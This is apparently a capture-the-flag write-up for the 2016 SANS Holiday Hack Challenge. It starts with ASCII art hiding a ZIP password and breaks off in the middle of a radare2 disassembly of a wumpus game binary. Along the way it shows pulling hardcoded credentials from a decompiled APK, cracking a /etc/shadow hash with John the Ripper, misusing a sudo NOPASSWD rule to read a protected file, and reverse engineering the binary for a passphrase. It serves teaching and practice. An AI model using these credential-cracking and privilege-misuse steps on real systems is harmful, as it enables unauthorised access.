CHRISTMASJOYJOYHOHOHOHOHOHOJOYPEACEONEARTHSANTAELFGOODWILLTOWARDSMENELFELFQ HOHOHOELFHOHOHOJOYNORTHPOLEHOHOHOCHRISTMASQ???????4GOODWILLTOWARDSMENELFELF NORTHPOLECHRISTMASQQWELFWELFWPEACEONEARTHQQ.......]HOHOHOCHRISTMASQWELFELFQ JOYJOYGOODWILLTOWARDSMENSANTAELFQWNORTHPOLE.......]PEACEONEARTHCHRISTMASJOY JOYELFCHRISTMASELFHOHOHOPEACEONEARTHJOYJOYQ.......]GOODWILLTOWARDSMENHOHOHO NORTHPOLESANTAELFQQWGOODWILLTOWARDSMENELFQQ.......]CHRISTMASCHRISTMASJOYQWQ HOHOHOSANTAELFNORTHPOLEPEACEONEARTHELFQWELF.......]SANTAHOHOHOELFSANTAELFQQ HOHOHOSANTAPEACEONEARTHELFWJOYWSANTAQWELFQQ.......]NORTHPOLENORTHPOLEWELFQQ SANTAHOHOHOELFELFNORTHPOLENORTHPOLEWELFJOYQ.......]GOODWILLTOWARDSMENSANTAQ GOODWILLTOWARDSMENHOHOHOWGOODWILLTOWARDSMEN.......]SANTASANTAHOHOHOQWHOHOHO SANTANORTHPOLESANTAWGOODWILLTOWARDSMENELFQQ.......]CHRISTMASPEACEONEARTHJOY ELFHOHOHONORTHPOLEP????????????????????????.......]CHRISTMASSANTAQQWJOYELFQ PEACEONEARTHSANTAQf...............................]ELFHOHOHOSANTAELFJOYELFQ ELFCHRISTMASELFELFf...............................]GOODWILLTOWARDSMENSANTAQ PEACEONEARTHHOHOHOf...............................]GOODWILLTOWARDSMENJOYJOY CHRISTMASNORTHPOLEf...............................]HOHOHONORTHPOLEQWJOYELFQ ELFPEACEONEARTHELFf...............................]GOODWILLTOWARDSMENSANTAQ JOYJOYELFSANTAELFQf...............................]SANTANORTHPOLEELFSANTAWQ JOYHOHOHOSANTAJOYQf...............................]PEACEONEARTHNORTHPOLEELF SANTAELFELFHOHOHOQf...............................]CHRISTMASPEACEONEARTHELF HOHOHONORTHPOLEELFf...............................]NORTHPOLEHOHOHOJOYWSANTA PEACEONEARTHELFJOY6aaaaaaaaaaaaaaaaaaaaaaaa.......]PEACEONEARTHHOHOHOSANTAQ CHRISTMASELFELFJOYQQWWWWWWWWWWWWWWWWWWWWWQQ.......]NORTHPOLENORTHPOLESANTAQ NORTHPOLECHRISTMASHOHOHONORTHPOLEHOHOHOJOYQ.......]PEACEONEARTHELFQQWHOHOHO JOYPEACEONEARTHJOYCHRISTMASPEACEONEARTHELFQ.......]NORTHPOLEJOYPEACEONEARTH NORTHPOLECHRISTMASPEACEONEARTHHOHOHOSANTAQQ.......]PEACEONEARTHCHRISTMASELF HOHOHOHOHOHONORTHPOLEELFCHRISTMASHOHOHOELFQ.......]HOHOHONORTHPOLEELFSANTAQ NORTHPOLEJOYHOHOHOQQWPEACEONEARTHCHRISTMASQ.......]ELFHOHOHOELFSANTAJOYQQWQ ELFJOYJOYJOYNORTHPOLEJOYPEACEONEARTHSANTAQQ.......]CHRISTMASELFELFQQWHOHOHO SANTASANTACHRISTMASNORTHPOLENORTHPOLEELFJOY.......]PEACEONEARTHPEACEONEARTH ELFPEACEONEARTHJOYQWJOYJOYSANTAHOHOHOJOYELF.......]GOODWILLTOWARDSMENJOYQWQ JOYCHRISTMASJOYCHRISTMASJOYWNORTHPOLEJOYJOYaaaaaaajCHRISTMASPEACEONEARTHJOY PEACEONEARTHCHRISTMASPEACEONEARTHWELFWSANTAWWWWWWCHRISTMASJOYNORTHPOLEJOYQQ SANTACHRISTMASSANTAELFJOYQWNORTHPOLEELFSANTAELFQQP]NORTHPOLESANTAJOYWJOYWQQ ELFJOYCHRISTMASNORTHPOLEWPEACEONEARTHNORTHPOLEQ@^.]HOHOHOHOHOHOELFCHRISTMAS HOHOHOELFSANTASANTAWNORTHPOLENORTHPOLEJOYQWELFP`..]CHRISTMASPEACEONEARTHJOY CHRISTMASJOYPEACEONEARTHJOYSANTAQWCHRISTMASQ@"....]JOYGOODWILLTOWARDSMENJOY GOODWILLTOWARDSMENJOYJOYWHOHOHOHOHOHOQQWELFP`.....]GOODWILLTOWARDSMENELFELF ELFSANTAHOHOHOGOODWILLTOWARDSMENCHRISTMASW".......]PEACEONEARTHELFQQWELFWQQ GOODWILLTOWARDSMENNORTHPOLEPEACEONEARTHQP`........]GOODWILLTOWARDSMENSANTAQ CHRISTMASHOHOHOELFQWJOYWSANTAJOYWELFQQW"..........]GOODWILLTOWARDSMENELFELF JOYHOHOHOGOODWILLTOWARDSMENHOHOHOELFQP`...........]NORTHPOLENORTHPOLEHOHOHO PEACEONEARTHGOODWILLTOWARDSMENWJOYQW".............]HOHOHOHOHOHONORTHPOLEJOY ELFPEACEONEARTHJOYCHRISTMASHOHOHOQP`..............]PEACEONEARTHSANTAWELFWQQ NORTHPOLEHOHOHOJOYELFSANTAQQWJOYW!................yPEACEONEARTHCHRISTMASELF CHRISTMASELFELFJOYP?????????????`...............sPEACEONEARTHJOYJOYSANTAELF JOYHOHOHOELFHOHOHOf..........................._mWQWNORTHPOLECHRISTMASHOHOHO GOODWILLTOWARDSMENf..........................jCHRISTMASNORTHPOLESANTAJOYJOY NORTHPOLEHOHOHOELFf........................_JOYPEACEONEARTHELFJOYJOYWJOYWQQ GOODWILLTOWARDSMENf......................_yGOODWILLTOWARDSMENCHRISTMASELFQQ NORTHPOLENORTHPOLEf.....................:GOODWILLTOWARDSMENSANTASANTAELFJOY ELFNORTHPOLEJOYJOYf......................-9NORTHPOLEPEACEONEARTHCHRISTMASQQ NORTHPOLEELFSANTAQf........................?WGOODWILLTOWARDSMENHOHOHOSANTAQ GOODWILLTOWARDSMENf..........................4WJOYPEACEONEARTHHOHOHOWELFWQQ PEACEONEARTHSANTAQf...........................-$SANTACHRISTMASHOHOHOELFJOYQ HOHOHOELFJOYJOYJOY6aaaaaaaaaaaaa,...............?WWPEACEONEARTHPEACEONEARTH JOYELFHOHOHOJOYSANTAWWWWWWWWWWWQQc...............-4NORTHPOLEHOHOHOQWJOYELFQ NORTHPOLEGOODWILLTOWARDSMENSANTAWWg,..............]GOODWILLTOWARDSMENSANTAQ NORTHPOLEHOHOHOELFHOHOHOCHRISTMASELFc.............]HOHOHOELFSANTAWCHRISTMAS PEACEONEARTHJOYJOYNORTHPOLESANTAJOYWWg,...........]GOODWILLTOWARDSMENJOYQWQ ELFHOHOHOELFHOHOHOCHRISTMASCHRISTMASJOYc..........]HOHOHOJOYELFQWCHRISTMASQ PEACEONEARTHSANTAJOYWCHRISTMASJOYSANTAWWw,........]PEACEONEARTHHOHOHOELFELF CHRISTMASJOYPEACEONEARTHSANTAPEACEONEARTHQc.......]PEACEONEARTHSANTAELFQWQQ NORTHPOLEPEACEONEARTHJOYNORTHPOLEJOYELFQQWWw......]PEACEONEARTHWHOHOHOJOYQQ GOODWILLTOWARDSMENQWHOHOHOQWNORTHPOLEELFELFQQ/....]PEACEONEARTHNORTHPOLEJOY ELFGOODWILLTOWARDSMENCHRISTMASJOYWJOYWSANTAJOYg...]SANTASANTAHOHOHOJOYQWJOY NORTHPOLEPEACEONEARTHGOODWILLTOWARDSMENELFELFQWQ,.]PEACEONEARTHNORTHPOLEJOY CHRISTMASCHRISTMASJOYSANTAWGOODWILLTOWARDSMENQQWQwjPEACEONEARTHSANTAQWJOYQQ ELFPEACEONEARTHJOYJOYJOYWSANTAQQWPEACEONEARTHCHRISTMASGOODWILLTOWARDSMENJOY CHRISTMASJOYJOYJOYQWGOODWILLTOWARDSMENSANTAQQWGOODWILLTOWARDSMENJOYWHOHOHOQ PEACEONEARTHSANTACHRISTMASSANTAELFELFQQWJOYWGOODWILLTOWARDSMENHOHOHOHOHOHOQ PEACEONEARTHELFELFSANTAQWJOYNORTHPOLEPEACEONEARTHELFSANTAHOHOHOPEACEONEARTH NORTHPOLECHRISTMASELFNORTHPOLEELFJOYQWCHRISTMASGOODWILLTOWARDSMENNORTHPOLEQ JOYJOYSANTAJOYSANTACHRISTMASJOYQWPEACEONEARTHNORTHPOLECHRISTMASJOYHOHOHOELF JOYPEACEONEARTHELFQWELFWCHRISTMASSANTASANTANORTHPOLEQWPEACEONEARTHJOYWJOYWQ
Hope your neck is not stiff, 'cause you need to tilt your head to the right
to see the hidden message: Bug Bounty
. It so happens that the password
to the ZIP file is bugbounty
. We can now extract the APK file from the
ZIP archive:
$ unzip SantaGram_v4.2.zip
Archive: SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password: bugbounty
inflating: SantaGram_4.2.apk
Part 2: Awesome Package Konveyance
Let's take a look at this APK, then! We can use JADX to decompile the APK.
Since we're looking for credentials, we can then grep
on
username
, password
, etc., to find what we're looking for:
$ grep --include "*.java" -Rn password .
./android/support/v4/j/a/c.java:529: stringBuilder.append("; password: ").append(k());
./com/northpolewonderland/santagram/Login.java:36: this.c = (EditText) findViewById(R.id.passwordTxt);
./com/northpolewonderland/santagram/Login.java:104: aVar.b((CharSequence) "We've sent you an email to reset your password!").a((int) R.string.app_name).a((CharSequence) "OK", null);
./com/northpolewonderland/santagram/SignUp.java:22: EditText passwordTxt;
./com/northpolewonderland/santagram/SignUp.java:29: inputMethodManager.hideSoftInputFromWindow(this.passwordTxt.getWindowToken(), 0);
./com/northpolewonderland/santagram/SignUp.java:46: this.passwordTxt = (EditText) findViewById(R.id.passwordTxt2);
./com/northpolewonderland/santagram/SignUp.java:56: if (this.a.usernameTxt.getText().toString().matches("") || this.a.passwordTxt.getText().toString().matches("") || this.a.fullnameTxt.getText().toString().matches("")) {
./com/northpolewonderland/santagram/SignUp.java:68: parseUser.setPassword(this.a.passwordTxt.getText().toString());
./com/northpolewonderland/santagram/b.java:91: jSONObject.put("password", "busyreindeer78");
./com/northpolewonderland/santagram/SplashScreen.java:53: jSONObject.put("password", "busyreindeer78");
./com/parse/ParseRESTUserCommand.java:39: hashMap.put("password", str2);
./com/parse/ParseUser.java:20: private static final String KEY_PASSWORD = "password";
./com/parse/ParseUser.java:252: throw new IllegalArgumentException("Must specify a password for the user to log in with");
./com/parse/ParseUser.java:795: final String password = currentUser.getPassword();
./com/parse/ParseUser.java:810: if (password != null) {
./com/parse/ParseUser.java:811: currentUser.setPassword(password);
./com/parse/ParseUser.java:998: throw new ParseException(-1, "Unable to saveEventually on a ParseUser with dirty password");
We see that the file ./com/northpolewonderland/santagram/b.java
is
interesting. If we open it, we'll find our wanted credentials:
// File ./com/northpolewonderland/santagram/b.java, line 87
public static void a(final Context context, String str) {
final JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("username", "guest");
jSONObject.put("password", "busyreindeer78");
jSONObject.put("type", "usage");
jSONObject.put("activity", str);
jSONObject.put("udid", Secure.getString(context.getContentResolver(), "android_id"));
new Thread(new Runnable() {
public void run() {
b.a(context.getString(R.string.analytics_usage_url), jSONObject);
}
}).start();
} catch (Exception e) {
Log.e(a, e.getMessage());
}
}
The credentials in the APK file are guest/busyreindeer78
.
We're then supposed to look at an audio file. To do this, we have to take a look at the resources of the APK file. To do this, we'll unzip the APK. Indeed, APK files are just particular ZIP files:
$ unzip -d SantaGram_4.2_unzipped SantaGram_4.2.apk
Archive: SantaGram_4.2.apk
inflating: SantaGram_4.2_unzipped/AndroidManifest.xml
inflating: SantaGram_4.2_unzipped/META-INF/CERT.RSA
inflating: SantaGram_4.2_unzipped/META-INF/CERT.SF
inflating: SantaGram_4.2_unzipped/META-INF/MANIFEST.MF
inflating: SantaGram_4.2_unzipped/assets/tou.html
inflating: SantaGram_4.2_unzipped/classes.dex
[snip for brievety]
extracting: SantaGram_4.2_unzipped/res/raw/discombobulatedaudio1.mp3
extracting: SantaGram_4.2_unzipped/resources.arsc
The name of the audio file in the SantaGram APK file is
discombobulatedaudio1.mp3
.
Part 3: A Fresh-Baked Holiday Pi
Despite what we've learned on the SantaGram bug bounty program, we're nowhere closer to learn where Santa Claus is being held. By roaming the North Pole, we can see password protected doors:
Next to these doors, we can see little terminals. However, in order to interact with these terminals, we need a little system called a Cranberry Pi. In a sense, we're in luck because by talking to the elf Wunorse Openslae (hey!), we learn that Santa's sleigh is equiped with a Cranberry Pi, to control the SCADA interface:
Indeed, strewn across the North Pole, we can find pieces of the Cranberry Pi system:
- A Cranberry Pi board
- A heat sink (why would you need one in the North Pole in the first place?)
- An HDMI cable
- An SD card
- A power cord
We now have a full Cranberry Pi system. The only missing part is given by the elf Holly Evergreen: a Cranbian image, which we can use to boot on our Cranberry Pi.
However, in order to use our CranPi, we need the password to open a user session. Luckily, this tutorial by Josh Wright teaches us how we can mount a Raspberry Pi file system image. Since Cranberry Pi and Raspberry Pi are basically the same (wake up, sheeple!), we now know how to mount our Cranbian image:
$ unzip cranbian.img.zip
Archive: cranbian.img.zip
inflating: cranbian-jessie.img
$ /sbin/fdisk -l cranbian-jessie.img
Disque cranbian-jessie.img : 1,3 GiB, 1389363200 octets, 2713600 secteurs
Unités : secteur de 1 × 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Type d'étiquette de disque : dos
Identifiant de disque : 0x5a7089a1
Device Boot Start End Sectors Size Id Type
cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA)
cranbian-jessie.img2 137216 2713599 2576384 1,2G 83 Linux
$ mkdir cranbian_img_extracted
$ sudo mount -v -o offset=$((512*137216)) -t ext4 ./cranbian-jessie.img ./cranbian_img_extracted
mount : /dev/loop0 monté sur ./cranbian_img_extracted.
$ ls cranbian_img_extracted/
bin boot dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var
We now have access to the Cranbian file system. This means that we can try to
crack passwords in the shadow
file.
$ cat cranbian_img_extracted/etc/shadow
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
messagebus:*:17067:0:99999:7:::
avahi:*:17067:0:99999:7:::
ntp:*:17067:0:99999:7:::
sshd:*:17067:0:99999:7:::
statd:*:17067:0:99999:7:::
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::
We can do so by using John the Ripper with the rockyou dictionary:
$ john --wordlist=./rockyou.txt ./cranbian_img_extracted/etc/shadow
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
yummycookies (cranpi)
1g 0:00:06:12 DONE (2016-12-24 19:11) 0.002687g/s 1221p/s 1221c/s 1221C/s 03698741..yoatzin
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We now have a valid account: cranpi/yummycookies
.
We can now interact with every terminal in the North Pole. Every terminal is basicaly a minimal Linux system on which we have to find some sort of flag, to use as a passphrase to open the door next to it.
Elf House #2
******************************************************************************* * * *To open the door, find both parts of the passphrase inside the /out.pcap file* * * *******************************************************************************
So, apparently, the passphrase is in two parts, in a network capture file. Let's take a look at this file:
scratchy@31368df46952:/$ ls -l /out.pcap
-r-------- 1 itchy itchy 1087929 Dec 2 15:05 /out.pcap
scratchy@31368df46952:/$ cat /out.pcap
cat: /out.pcap: Permission denied
So, this file belongs to user itchy
, and we can't read it. Let's see
what's installed on the system:
scratchy@31368df46952:/$ cat /var/log/apt/history.log
Start-Date: 2016-11-04 18:30:58
Commandline: apt-get dist-upgrade -y
Upgrade: tzdata:amd64 (2016f-0+deb8u1, 2016h-0+deb8u1), tar:amd64 (1.27.1-2+b1, 1.27.1-
2+deb8u1)
End-Date: 2016-11-04 18:31:00
Start-Date: 2016-12-01 21:18:39
Commandline: apt-get install -y tcpdump sudo nano vim binutils
Install: nano:amd64 (2.2.6-3), libssl1.0.0:amd64 (1.0.1t-1+deb8u5, automatic), tcpdump:
amd64 (4.6.2-5+deb8u1), libpcap0.8:amd64 (1.6.2-2, automatic), vim-common:amd64 (7.4.48
8-7+deb8u1, automatic), sudo:amd64 (1.8.10p3-1+deb8u3), binutils:amd64 (2.25-5), vim:am
d64 (7.4.488-7+deb8u1), vim-runtime:amd64 (7.4.488-7+deb8u1, automatic), libgpm2:amd64
(1.20.4-6.1+b2, automatic)
End-Date: 2016-12-01 21:18:41
So, sudo
and tcpdump
were both installed on the system. Maybe
there's a particular configuration in the /etc/sudoers
file that allows
us to run tcpdump
as itchy
without having to provide any
password... Let's try to use sudo
and tcpdump
to read the
content of the file, and write it in another one:
scratchy@31368df46952:/$ sudo -u itchy tcpdump -r /out.pcap -w /tmp/out2.pcap
sudo: unable to resolve host 31368df46952
reading from file /out.pcap, link-type EN10MB (Ethernet)
scratchy@31368df46952:/$ ls -lh /tmp/out2.pcap
-rw-r--r-- 1 itchy itchy 1.1M Dec 25 02:56 /tmp/out2.pcap
scratchy@31368df46952:/$ sha256sum /tmp/out2.pcap
07ec6f56c937fc939c8eb64c454ece277f8c1e4f8b851781ce7f4451d48ec985 /tmp/out2.pcap
w00t, we we're indeed able to copy the content of the file to another file, which we can read, since we were able to compute its sha256 sum.
I learned afterwards the existence of the -l
flag in sudo
:
SUDO(8) BSD System Manager's Manual SUDO(8) NAME sudo, sudoedit — execute a command as another user SYNOPSIS sudo -h | -K | -k | -V sudo -v [-AknS] [-a type] [-g group] [-h host] [-p prompt] [-u user] sudo -l [-AknS] [-a type] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command] [...] -l, --list If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host. A longer list format is used if this option is specified multiple times and the security policy supports a verbose output format.
And all this time, I was thinking:
Hmm, is there a way to list what you can do withsudo
when you can't read the/etc/sudoers
file? Well, I'll search later!
Why, yes, Yannick, it IS possible! It's the -l
flag! You lazy, you.
#TheMoreYouKnow
Anyway, if you issue sudo -l
, you can see that we can indeed run
tcpdump
and strings
as the itchy
user, without knowing
the scratchy
user's password:
scratchy@8bb89db76dd2:/$ sudo -l
sudo: unable to resolve host 8bb89db76dd2
Matching Defaults entries for scratchy on 8bb89db76dd2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User scratchy may run the following commands on 8bb89db76dd2:
(itchy) NOPASSWD: /usr/sbin/tcpdump
(itchy) NOPASSWD: /usr/bin/strings
Now that I had a readable copy of the PCAP file, I extracted the content of
this PCAP, by base64 encoding, so that I could analyze it on my own machine.
You can download the PCAP file here
(sha256: 07ec6f56c937fc939c8eb64c454ece277f8c1e4f8b851781ce7f4451d48ec985
).
We can now open the PCAP file in Wireshark, which is a hell of a lot nicer than analyzing it on the terminal:
We can see a request to a file called firsthalf.html
:
GET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: text/html
Content-Length: 113
Last-Modified: Fri, 02 Dec 2016 11:25:35 GMT
<html>
<head></head>
<body>
<form>
<input type="hidden" name="part1" value="santasli" />
</form>
</body>
</html>
We have the first half of our passphrase, santasli
.
Now, to take a look at the second half. We can see that there is another HTTP request, for the second half:
GET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: application/octet-stream
Content-Length: 1048097
Last-Modified: Fri, 02 Dec 2016 11:26:12 GMT
L}*.O..r.v./....v....z{.x.'.l.(..@.1].X...k7.?.../.B..G.FPj.`~.%.....a~.;90.cLgc.q2..`.D.x...V....6...........@...x. %JK...kO...Idw..<..G.\.
....... .....(.._.1sf..)$mg@..=.*
........
[snip]
We can see that a lot of binary content is being downloaded. I extracted it, and tried to identify it:
$ file secondhalf.bin
secondhalf.bin: data
Uh oh, file
was not able to identify the type of file. Maybe the start
of the file is just garbage, but there are some files carved later in the file.
Let's use binwalk
, it should give us something to work with:
$ binwalk secondhalf.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
Damn, nothing. Maybe foremost
will have more luck?
$ foremost secondhalf.bin
Processing: secondhalf.bin
|*|
$ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Mon Dec 26 00:44:48 2016
Invocation: foremost secondhalf.bin
Output directory: output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: secondhalf.bin
Start: Mon Dec 26 00:44:48 2016
Length: 1009 KB (1033943 bytes)
Num Name (bs=512) Size File Offset Comment
Finish: Mon Dec 26 00:44:48 2016
0 FILES EXTRACTED
------------------------------------------------------------------
Foremost finished at Mon Dec 26 00:44:48 2016
Still nothing... Is this file completely random? Let's use ent
to
measure the entropy of the file:
$ ent secondhalf.bin
Entropy = 7.999841 bits per byte.
Optimum compression would reduce the size
of this 1033943 byte file by 0 percent.
Chi square distribution for 1033943 samples is 227.29, and randomly
would exceed this value 75.00 percent of the times.
Arithmetic mean value of data bytes is 127.4329 (127.5 = random).
Monte Carlo value for Pi is 3.145233080 (error 0.12 percent).
Serial correlation coefficient is -0.001185 (totally uncorrelated = 0.0).
With these kinds of results, we can be pretty sture that this file is random. The logical thing is to assume that it's some kind of encrypted file. What's more, by looking at the end of the capture file, we can see some Dropbox LAN Sync Discovery Protocol:
{"host_int": 266670160730277518981342002975279884847, "version": [2, 0], "displayname": "", "port": 17500, "namespaces": [1149071040, 1139770785, 1357103393, 1296963687, 1139786665, 1261247053, 1331126254, 1179166992, 1210559602, 1261612467, 1223790038, 1234538553, 1304191898, 1246301403, 1056298300, 1207374239]}
With this, I was pretty sure to have it the jackpot! I spent the whole day
reading documentation on Dropbox attacks, relying on the knowledge of this
host_int
parameter... and a host_id
parameter, which was
impossible to find anywhere. I tried to use the host_int
paramter
directly as a decryption key, with several openssl
algorithm, but, of
course, to no avail.
In a move of desperation, I went to /r/netsec, in order to find some clue on this particular part (I was weak, I'm sorry). This comment really turned things around:
What types of strings does the strings utility look for, by default? #hint
With this clue, I immediatly found out. By default, strings
looks for
strings with a minimum length of 4, with a default encoding of 7-bit ASCII.
The binary data probably contained a string encoding in another form. I
immediatly tried 16-bit big endian:
$ strings -e b secondhalf.bin
art2:ttlehelper
My error here was to assume that the binary data was in fact an encrypted blob.
Anyway, the second half is ttlehelper
.
Passphrase: santaslittlehelper
.
Workshop, first door
******************************************************************************* * * * To open the door, find the passphrase file deep in the directories. * * * *******************************************************************************
According to the motd, there
is on the file system a file containing the passphrase to the door. We can
use the find
command to list every file on the file system:
$ find / -type f 2> /dev/null > ~/files.txt
$ head ~/files.txt
/home/elf/files.txt
/home/elf/.bashrc
/home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
/home/elf/.profile
/home/elf/.bash_logout
/etc/hosts
/etc/resolv.conf
/etc/hostname
/etc/shadow
/etc/passwd-
The higlighted file seems interesting. However, there's a lot of tricky characters in the path, and tabulation autocomplete is disabled on this terminal. However, we can use some shell-fu to get the content of the file:
$ find ~/.doormat -name "key_for_the_door.txt" -exec cat {} \;
key: open_sesame
Passphrase: open_sesame
With this passphrase, we can open the door, which gives us access to Santa's office.
Santa's office
When you interact with the terminal in Santa's office, you get greeted by this prompt:
By DuckDuckGoing this sentence, we can find that it's a WarGames reference. Now, I haven't seen WarGames (I know, shame on me), but I managed to find a clip with the necessary commands:
GREETINGS PROFESSOR FALKEN.
Hello.
HOW ARE YOU FEELING TODAY?
I'm fine. How are you?
EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6
/23/73?
People sometimes make mistakes.
YES THEY DO. SHALL WE PLAY A GAME?
Love to. How about Global Thermonuclear War?
WOULDN'T YOU PREFER A GOOD GAME OF CHESS?
Later. Let's play Global Thermonuclear War.
FINE
,------~~v,_ _ _--^\
|' \ ,__/ || _/ /,_ _
/ \,/ / ,, _,,/^ v v-___
| / |'~^ \
\ | _/ _ _/^
\ / / ,~~^/ |
^~~_ _ _ / | __,, _v__\ \/
'~~, , ~ \ \ ^~ / ~ //
\/ \/ \~, ,/
~~
UNITED STATES SOVIET UNION
WHICH SIDE DO YOU WANT?
1. UNITED STATES
2. SOVIET UNION
PLEASE CHOOSE ONE:
2
AWAITING FIRST STRIKE COMMAND
-----------------------------
PLEASE LIST PRIMARY TARGETS BY
CITY AND/OR COUNTRY NAME:
Las Vegas
LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE:
LOOK AT THE PRETTY LIGHTS
Passphrase: LOOK AT THE PRETTY LIGHTS
With this passphrase, you can access a new room called the corridor.
The corridor
There's no terminal in this room, only a password protected door. Let's put a pin on this for now.
Workshop, second door
******************************************************************************* * * * Find the passphrase from the wumpus. Play fair or cheat; it's up to you. * * * *******************************************************************************
On this terminal, we have a kind of game, looking a lot like Hunt the Wumpus, where we have to go down a dungeon, slay the wumpus, and get the passphrase from it.
However, instead of playing the game, we chan cheat, as the motd suggests, by
analyzing the binary to extract the passphrase. We can extract the
wumpus
binary by base64-encoding it on the board, copying the result,
then base64-decoding it on our analysis machine. You can get a copy of the
executable here (sha256:
10412d7773a5d3a49e5a5facdc5aa386a4e3eaec7dca83bc769a104e1790c1fd
).
If we look at the list of functions we can see one called kill_wump
. By
looking at the disassembly of this function, using radare2 (God, I've got to
learn how to use this tool, there seems to be a steep learning curve!), we can
see that this function is called when you managed to kill the wumpus, and gives
you the passphrase:
[0x00605118]> pdf @ fcn.kill_wump
/ (fcn) fcn.kill_wump 546
| fcn.kill_wump ();
| ; var int local_8h @ rbp-0x8
| 0x00402644 55 push rbp
| 0x00402645 4889e5 mov rbp, rsp
| 0x00402648 4883ec10 sub rsp, 0x10
| 0x0040264c bf38354000 mov edi, str._thwock____groan___crash__n_nA_horrible_roar_fills_the_cave__and_you_realize__with_a_smile__that_you_nhave_slain_the_evil_Wumpus_and_won_the_game___You_don_t_want_to_tarry_for_nlong__however__because_not_only_is_the_Wumpus_famous__but_the_stench_of_ndead_Wumpus_is_also_quite_well_known__a_stench_plenty_enough_to_slay_the_nmightiest_adventurer_at_a_single_whiff__ ; "*thwock!* *groan* *crash*..A horrible roar fills the cave, and you realize, with a smile, that you.have slain the evil Wumpus and won the game! You don't want to tarry for.long, however, because not only is the Wumpus famous, but the stench of.dead Wumpus is also quite well known, a stench plenty enough to slay the.mightiest adventurer at a single whiff!!" @ 0x403538
| 0x00402651 e85ae4ffff call sym.imp.puts ; int puts(const char *s);
| 0x00402656 bf18000000 mov edi, 0x18 ; "0.@"
| 0x0040265b e8f0e4ffff call sym.imp.malloc ; void *malloc(size_t size);
| 0x00402660 488945f8 mov qword [rbp - local_8h], rax
| 0x00402664 488b05cd2a20. mov rax, qword [obj.m4] ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
| 0x0040266b 0fb65009 movzx edx, byte [rax + 9] ; [0x9:1]=0
| 0x0040266f 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402673 8810 mov byte [rax], dl
| 0x00402675 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402679 488d5001 lea rdx, [rax + 1] ; 0x1
| 0x0040267d 488b05bc2a20. mov rax, qword [obj.m5] ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
| 0x00402684 0fb6400e movzx eax, byte [rax + 0xe] ; [0xe:1]=0
| 0x00402688 8802 mov byte [rdx], al
| 0x0040268a 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040268e 488d5002 lea rdx, [rax + 2] ; 0x2
| 0x00402692 488b059f2a20. mov rax, qword [obj.m4] ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
| 0x00402699 0fb64037 movzx eax, byte [rax + 0x37] ; [0x37:1]=0 ; '7'
| 0x0040269d 8802 mov byte [rdx], al
| 0x0040269f 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004026a3 488d5003 lea rdx, [rax + 3] ; 0x3
| 0x004026a7 488b05722a20. mov rax, qword [obj.m0] ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
| 0x004026ae 0fb64012 movzx eax, byte [rax + 0x12] ; [0x12:1]=62
| 0x004026b2 8802 mov byte [rdx], al
| 0x004026b4 488b45f8 mov rax, qword [rbp - local_8h]
